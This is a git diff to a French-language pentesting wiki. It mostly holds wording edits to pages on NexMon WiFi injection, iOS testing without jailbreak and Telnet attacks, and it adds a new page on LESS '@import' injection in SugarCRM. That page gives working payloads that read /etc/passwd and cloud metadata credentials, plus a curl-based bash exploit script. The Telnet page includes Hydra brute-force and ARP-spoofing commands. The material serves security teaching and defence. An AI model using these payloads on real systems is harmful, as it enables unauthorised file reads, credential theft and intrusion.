diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 93b6e3273..b260a5217 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -544,6 +544,7 @@ # đŸ•žïž Pentesting Web +- [Less Code Injection Ssrf](pentesting-web/less-code-injection-ssrf.md) - [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md) - [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md) - [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md) diff --git a/src/generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md b/src/generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md index 2d042a38e..72ac225df 100644 --- a/src/generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md +++ b/src/generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md @@ -22,7 +22,7 @@ La mĂȘme technique s'applique Ă  tout appareil disposant d'un patch NexMon dispo * ZIP Magisk NexMon ou patch auto-compilĂ© fournissant : * `/system/lib*/libnexmon.so` * `/system/xbin/nexutil` -* Hijacker ≄ 1.7 (arm/arm64) – https://github.com/chrisk44/Hijacker +* Hijacker ≄ 1.7 (arm/arm64) – [https://github.com/chrisk44/Hijacker](https://github.com/chrisk44/Hijacker) * (Optionnel) Kali NetHunter ou tout chroot Linux oĂč vous comptez exĂ©cuter des outils sans fil --- @@ -82,7 +82,7 @@ Si vous n'avez besoin que de l'Ă©coute passive, omettez le drapeau `-s0x613`. --- ## Utilisation de `libnexmon` dans Kali NetHunter / chroot -Les outils d'espace utilisateur standard dans Kali ne connaissent pas NexMon, mais vous pouvez les forcer Ă  l'utiliser via `LD_PRELOAD` : +Les outils d'espace utilisateur de base dans Kali ne connaissent pas NexMon, mais vous pouvez les forcer Ă  l'utiliser via `LD_PRELOAD` : 1. Copiez l'objet partagĂ© prĂ©-construit dans le chroot : ```bash @@ -95,7 +95,7 @@ sudo su export LD_PRELOAD=/lib/kalilibnexmon.so wifite -i wlan0 # ou aircrack-ng, mdk4 
 ``` -4. Lorsque vous avez terminĂ©, dĂ©sactivez le mode moniteur comme d'habitude sur Android. +4. Une fois terminĂ©, dĂ©sactivez le mode moniteur comme d'habitude sur Android. Parce que le firmware gĂšre dĂ©jĂ  l'injection radiotap, les outils d'espace utilisateur se comportent comme sur un adaptateur Atheros externe. diff --git a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md index 952351b53..c2061bfc5 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md +++ b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md @@ -6,7 +6,7 @@ Les applications signĂ©es avec l'**entitlement `get_task_allow`** permettent aux applications tierces d'exĂ©cuter une fonction appelĂ©e **`task_for_pid()`** avec l'ID de processus de l'application initiale comme argument afin d'obtenir le port de tĂąche sur celui-ci (pouvoir le contrĂŽler et accĂ©der Ă  sa mĂ©moire). -Cependant, ce n'est pas aussi simple que de simplement extraire l'IPA, de le re-signer avec l'entitlement, et de le flasher Ă  nouveau sur votre appareil. Cela est dĂ» Ă  la protection FairPlay. Lorsque la signature de l'application change, la clĂ© DRM (Digital Rights Management) est **invalidĂ©e et l'application ne fonctionnera pas**. +Cependant, ce n'est pas aussi simple que de simplement rĂ©cupĂ©rer l'IPA, de le re-signer avec l'entitlement, et de le flasher Ă  nouveau sur votre appareil. Cela est dĂ» Ă  la protection FairPlay. Lorsque la signature de l'application change, la clĂ© DRM (Digital Rights Management) est **invalidĂ©e et l'application ne fonctionnera pas**. Avec un ancien appareil jailbreakĂ©, il est possible d'installer l'IPA, **de le dĂ©chiffrer en utilisant votre outil prĂ©fĂ©rĂ©** (comme Iridium ou frida-ios-dump), et de le rĂ©cupĂ©rer de l'appareil. Cependant, si possible, il est recommandĂ© de demander simplement au client l'IPA dĂ©chiffrĂ©. @@ -19,10 +19,10 @@ Avec un ancien appareil jailbreakĂ©, il est possible d'installer l'IPA, **de le 2. Installez et lancez [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) sur votre macos 3. Ouvrez `Terminal` sur votre Mac, et cd Ă  `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. L'IPA apparaĂźtra dans ce dossier plus tard. 4. Vous devriez voir votre appareil iOS. Double-cliquez dessus, puis cliquez sur Ajouter + → Apps dans la barre de menu en haut. -5. AprĂšs avoir cliquĂ© sur Ajouter, Configurator tĂ©lĂ©chargera l'IPA depuis Apple et tentera de le pousser vers votre appareil. Si vous avez suivi ma recommandation plus tĂŽt et installĂ© l'IPA, une invite vous demandant de rĂ©installer l'application apparaĂźtra. +5. AprĂšs avoir cliquĂ© sur Ajouter, Configurator tĂ©lĂ©chargera l'IPA depuis Apple et tentera de le pousser vers votre appareil. Si vous avez suivi ma recommandation prĂ©cĂ©dente et installĂ© l'IPA, une invite vous demandant de rĂ©installer l'application apparaĂźtra. 6. L'IPA devrait ĂȘtre tĂ©lĂ©chargĂ© dans `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` d'oĂč vous pouvez le rĂ©cupĂ©rer. -VĂ©rifiez [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) pour des informations plus dĂ©taillĂ©es sur ce processus. +VĂ©rifiez [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) pour plus d'informations dĂ©taillĂ©es sur ce processus. ### DĂ©chiffrer l'application @@ -53,7 +53,7 @@ Une fois installĂ©, vous pouvez utiliser **Iridium tweak** de Cydia afin d'obten Pour re-signer l'application avec le droit `get-task-allow`, plusieurs outils sont disponibles comme `app-signer`, `codesign` et `iResign`. `app-signer` a une interface trĂšs conviviale qui permet de re-signer trĂšs facilement un fichier IPA en indiquant l'IPA Ă  re-signer, de **le mettre `get-task-allow`** et le certificat et le profil de provisionnement Ă  utiliser. -Concernant le certificat et les profils de signature, Apple propose des **profils de signature de dĂ©veloppeur gratuits** pour tous les comptes via Xcode. Il suffit de crĂ©er une application et de configurer un. Ensuite, configurez l'**iPhone pour faire confiance aux applications de dĂ©veloppeur** en naviguant vers `Settings` → `Privacy & Security`, et cliquez sur `Developer Mode`. +Concernant le certificat et les profils de signature, Apple propose des **profils de signature de dĂ©veloppeur gratuits** pour tous les comptes via Xcode. Il suffit de crĂ©er une application et d'en configurer une. Ensuite, configurez l'**iPhone pour faire confiance aux applications de dĂ©veloppeur** en naviguant vers `Settings` → `Privacy & Security`, et cliquez sur `Developer Mode`. Avec l'IPA re-signĂ©, il est temps de l'installer sur l'appareil pour le pentester : ```bash @@ -67,13 +67,13 @@ Depuis iOS 16, Apple a introduit le **mode dĂ©veloppeur** : tout binaire qui por 1. Installez ou poussez **n'importe quel** IPA signĂ© par un dĂ©veloppeur sur le tĂ©lĂ©phone. 2. AccĂ©dez Ă  **RĂ©glages → ConfidentialitĂ© et sĂ©curitĂ© → Mode dĂ©veloppeur** et activez-le. -3. L'appareil redĂ©marrera ; aprĂšs avoir saisi le code d'accĂšs, vous serez invitĂ© Ă  **activer** le mode dĂ©veloppeur. +3. L'appareil redĂ©marrera ; aprĂšs avoir entrĂ© le code d'accĂšs, vous serez invitĂ© Ă  **activer** le mode dĂ©veloppeur. Le mode dĂ©veloppeur reste actif jusqu'Ă  ce que vous le dĂ©sactiviez ou que vous rĂ©initialisiez le tĂ©lĂ©phone, donc cette Ă©tape n'a besoin d'ĂȘtre effectuĂ©e qu'une seule fois par appareil. [La documentation d'Apple](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) explique les implications en matiĂšre de sĂ©curitĂ©. ### Options modernes de sideloading -Il existe maintenant plusieurs mĂ©thodes matures pour sideloader et maintenir les IPAs re-signĂ©s Ă  jour sans jailbreak : +Il existe maintenant plusieurs façons matures de sideloader et de maintenir les IPAs re-signĂ©s Ă  jour sans jailbreak : | Outil | Exigences | Forces | Limitations | |-------|-----------|--------|-------------| @@ -84,7 +84,7 @@ Pour des pentests de routine sur les versions iOS actuelles, Alt/Side-Store sont ### Hooking / instrumentation dynamique -Vous pouvez hook votre application exactement comme sur un appareil jailbreakĂ© une fois qu'elle est signĂ©e avec `get_task_allow` **et** que le mode dĂ©veloppeur est activĂ© : +Vous pouvez hooker votre application exactement comme sur un appareil jailbreakĂ© une fois qu'elle est signĂ©e avec `get_task_allow` **et** que le mode dĂ©veloppeur est activĂ© : ```bash # Spawn & attach with objection objection -g "com.example.target" explore @@ -96,7 +96,7 @@ Les rĂ©centes versions de Frida (>=16) gĂšrent automatiquement l'authentificatio ### Analyse dynamique automatisĂ©e avec MobSF (sans jailbreak) -[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) peut instrumenter un IPA signĂ© par un dĂ©veloppeur sur un appareil rĂ©el en utilisant la mĂȘme technique (`get_task_allow`) et fournit une interface web avec un navigateur de systĂšme de fichiers, capture de trafic et console Frida【†L2-L3】. Le moyen le plus rapide est de faire fonctionner MobSF dans Docker, puis de connecter votre iPhone via USB : +[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) peut instrumenter un IPA signĂ© par un dĂ©veloppeur sur un appareil rĂ©el en utilisant la mĂȘme technique (`get_task_allow`) et fournit une interface web avec un navigateur de systĂšme de fichiers, capture de trafic et console Frida【】. Le moyen le plus rapide est de faire fonctionner MobSF dans Docker et ensuite de connecter votre iPhone via USB : ```bash docker pull opensecurity/mobile-security-framework-mobsf:latest docker run -p 8000:8000 --privileged \ @@ -108,7 +108,7 @@ MobSF dĂ©ploiera automatiquement le binaire, activera un serveur Frida Ă  l'int ### iOS 17 & avertissements sur le mode verrouillage -* **Mode verrouillage** (RĂ©glages → ConfidentialitĂ© & SĂ©curitĂ©) bloque le chargeur dynamique de chargement des bibliothĂšques dynamiques non signĂ©es ou signĂ©es de maniĂšre externe. Lors de tests sur des appareils qui pourraient avoir ce mode activĂ©, assurez-vous qu'il est **dĂ©sactivĂ©** ou vos sessions Frida/objection se termineront immĂ©diatement. +* **Mode verrouillage** (RĂ©glages → ConfidentialitĂ© & SĂ©curitĂ©) bloque le chargeur dynamique de charger des bibliothĂšques dynamiques non signĂ©es ou signĂ©es de maniĂšre externe. Lors de tests sur des appareils qui pourraient avoir ce mode activĂ©, assurez-vous qu'il est **dĂ©sactivĂ©** ou vos sessions Frida/objection se termineront immĂ©diatement. * L'authentification par pointeur (PAC) est appliquĂ©e Ă  l'Ă©chelle du systĂšme sur les appareils A12+. Frida ≄16 gĂšre de maniĂšre transparente le stripping PAC — il suffit de garder Ă  jour Ă  la fois *frida-server* et la chaĂźne d'outils Python/CLI lorsque qu'une nouvelle version majeure d'iOS est publiĂ©e. ## RĂ©fĂ©rences diff --git a/src/network-services-pentesting/pentesting-telnet.md b/src/network-services-pentesting/pentesting-telnet.md index ca924dbda..f15e63c6a 100644 --- a/src/network-services-pentesting/pentesting-telnet.md +++ b/src/network-services-pentesting/pentesting-telnet.md @@ -85,9 +85,9 @@ sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " # Wireshark display filter tcp.port == 23 && (telnet.data || telnet.option) ``` -Pour un MITM actif, combinez le spoofing ARP (par exemple, `arpspoof`/`ettercap`) avec les mĂȘmes filtres de sniffing pour rĂ©colter des mots de passe sur des rĂ©seaux commutĂ©s. +Pour un MITM actif, combinez le spoofing ARP (par exemple `arpspoof`/`ettercap`) avec les mĂȘmes filtres de sniffing pour rĂ©colter des mots de passe sur des rĂ©seaux commutĂ©s. -### Force brute automatisĂ©e / Spray de mots de passe +### Force brute automatisĂ©e / Spraying de mots de passe ```bash # Hydra (stop at first valid login) hydra -L users.txt -P rockyou.txt -t 4 -f telnet:// @@ -109,9 +109,9 @@ Metasploit dispose de plusieurs modules utiles : * `auxiliary/scanner/telnet/telnet_encrypt_overflow` – RCE contre Telnet vulnĂ©rable de Solaris 9/10 (gestion de l'option ENCRYPT). * `exploit/linux/mips/netgear_telnetenable` – active le service telnet avec un paquet conçu sur de nombreux routeurs NETGEAR. -AprĂšs avoir obtenu un shell, rappelez-vous que **les TTY sont gĂ©nĂ©ralement simples** ; mettez Ă  niveau avec `python -c 'import pty;pty.spawn("/bin/bash")'` ou utilisez les [trucs TTY de HackTricks](/generic-hacking/reverse-shells/full-ttys.md). +AprĂšs avoir obtenu un shell, rappelez-vous que **les TTY sont gĂ©nĂ©ralement stupides** ; mettez Ă  niveau avec `python -c 'import pty;pty.spawn("/bin/bash")'` ou utilisez les [trucs TTY de HackTricks](/generic-hacking/reverse-shells/full-ttys.md). -### Renforcement & DĂ©tection (coin de l'Ă©quipe bleue) +### Durcissement & DĂ©tection (coin de l'Ă©quipe bleue) 1. PrĂ©fĂ©rez SSH et dĂ©sactivez complĂštement le service Telnet. 2. Si Telnet est nĂ©cessaire, liez-le uniquement aux VLANs de gestion, appliquez des ACL et enveloppez le dĂ©mon avec des wrappers TCP (`/etc/hosts.allow`). @@ -123,4 +123,4 @@ AprĂšs avoir obtenu un shell, rappelez-vous que **les TTY sont gĂ©nĂ©ralement si * D-Link Advisory – CVE-2024-45698 RCE Telnet critique. * NVD – CVE-2022-39028 inetutils `telnetd` DoS. -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/less-code-injection-ssrf.md b/src/pentesting-web/less-code-injection-ssrf.md new file mode 100644 index 000000000..b12604d7a --- /dev/null +++ b/src/pentesting-web/less-code-injection-ssrf.md @@ -0,0 +1,75 @@ +# LESS Injection de Code menant Ă  SSRF & Lecture de Fichiers Locaux + +{{#include ../banners/hacktricks-training.md}} + +## Aperçu + +LESS est un prĂ©processeur CSS populaire qui ajoute des variables, des mixins, des fonctions et la puissante directive `@import`. Lors de la compilation, le moteur LESS va **rĂ©cupĂ©rer les ressources rĂ©fĂ©rencĂ©es dans les** dĂ©clarations `@import` et intĂ©grer ("inline") leur contenu dans le CSS rĂ©sultant lorsque l'option `(inline)` est utilisĂ©e. + +Lorsque qu'une application concatĂšne **une entrĂ©e contrĂŽlĂ©e par l'utilisateur** dans une chaĂźne qui est ensuite analysĂ©e par le compilateur LESS, un attaquant peut **injecter du code LESS arbitraire**. En abusant de `@import (inline)`, l'attaquant peut forcer le serveur Ă  rĂ©cupĂ©rer : + +* Des fichiers locaux via le protocole `file://` (divulgation d'informations / Inclusion de Fichiers Locaux). +* Des ressources distantes sur des rĂ©seaux internes ou des services de mĂ©tadonnĂ©es cloud (SSRF). + +Cette technique a Ă©tĂ© observĂ©e dans des produits rĂ©els tels que **SugarCRM ≀ 14.0.0** (point de terminaison `/rest/v10/css/preview`). + +## Exploitation + +1. Identifier un paramĂštre qui est directement intĂ©grĂ© dans une chaĂźne de feuille de style traitĂ©e par le moteur LESS (par exemple, `?lm=` dans SugarCRM). +2. Fermer la dĂ©claration actuelle et injecter de nouvelles directives. Les primitives les plus courantes sont : +* `;` – termine la dĂ©claration prĂ©cĂ©dente. +* `}` – ferme le bloc prĂ©cĂ©dent (si nĂ©cessaire). +3. Utiliser `@import (inline) '';` pour lire des ressources arbitraires. +4. En option, injecter un **marqueur** (`data:` URI) aprĂšs l'import pour faciliter l'extraction du contenu rĂ©cupĂ©rĂ© Ă  partir du CSS compilĂ©. + +### Lecture de Fichiers Locaux +``` +1; @import (inline) 'file:///etc/passwd'; +@import (inline) 'data:text/plain,@@END@@'; // +``` +Le contenu de `/etc/passwd` apparaĂźtra dans la rĂ©ponse HTTP juste avant le marqueur `@@END@@`. + +### SSRF – MĂ©tadonnĂ©es Cloud +``` +1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/"; +@import (inline) 'data:text/plain,@@END@@'; // +``` +### PoC automatisĂ© (exemple SugarCRM) +```bash +#!/usr/bin/env bash +# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd + +TARGET="$1" # Base URL of SugarCRM instance +RESOURCE="$2" # file:// path or URL to fetch + +INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))") + +curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \ +sed -n 's/.*@@END@@\(.*\)/\1/p' +``` +## DĂ©tection + +* Recherchez des rĂ©ponses `.less` ou `.css` gĂ©nĂ©rĂ©es dynamiquement contenant des paramĂštres de requĂȘte non assainis. +* Lors de la rĂ©vision du code, recherchez des constructions comme `"@media all { .preview { ... ${userInput} ... } }"` passĂ©es aux fonctions de rendu LESS. +* Les tentatives d'exploitation incluent souvent `@import`, `(inline)`, `file://`, `http://169.254.169.254`, etc. + +## AttĂ©nuations + +* Ne pas passer de donnĂ©es non fiables au compilateur LESS. +* Si des valeurs dynamiques sont nĂ©cessaires, les **Ă©chapper**/assainir correctement (par exemple, restreindre aux jetons numĂ©riques, listes blanches). +* DĂ©sactiver, lorsque cela est possible, la possibilitĂ© d'utiliser des imports `(inline)`, ou limiter les protocoles autorisĂ©s Ă  `https`. +* Gardez les dĂ©pendances Ă  jour – SugarCRM a corrigĂ© ce problĂšme dans les versions 13.0.4 et 14.0.1. + +## Cas du monde rĂ©el + +| Produit | Point de terminaison vulnĂ©rable | Impact | +|---------|--------------------|--------| +| SugarCRM ≀ 14.0.0 | `/rest/v10/css/preview?lm=` | SSRF non authentifiĂ© & lecture de fichiers locaux | + +## RĂ©fĂ©rences + +* [SugarCRM ≀ 14.0.0 (css/preview) VulnĂ©rabilitĂ© d'injection de code LESS](https://karmainsecurity.com/KIS-2025-04) +* [Avis de sĂ©curitĂ© SugarCRM SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/) +* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258) + +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md b/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md index 6322b5922..0833240c9 100644 --- a/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md @@ -4,4 +4,10 @@ VĂ©rifiez **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)** +- SugarCRM ≀ 14.0.0 – Injection `@import` LESS dans `/rest/v10/css/preview` permet SSRF non authentifiĂ© et lecture de fichiers locaux. + +{{#ref}} +../less-code-injection-ssrf.md +{{#endref}} + {{#include ../../banners/hacktricks-training.md}}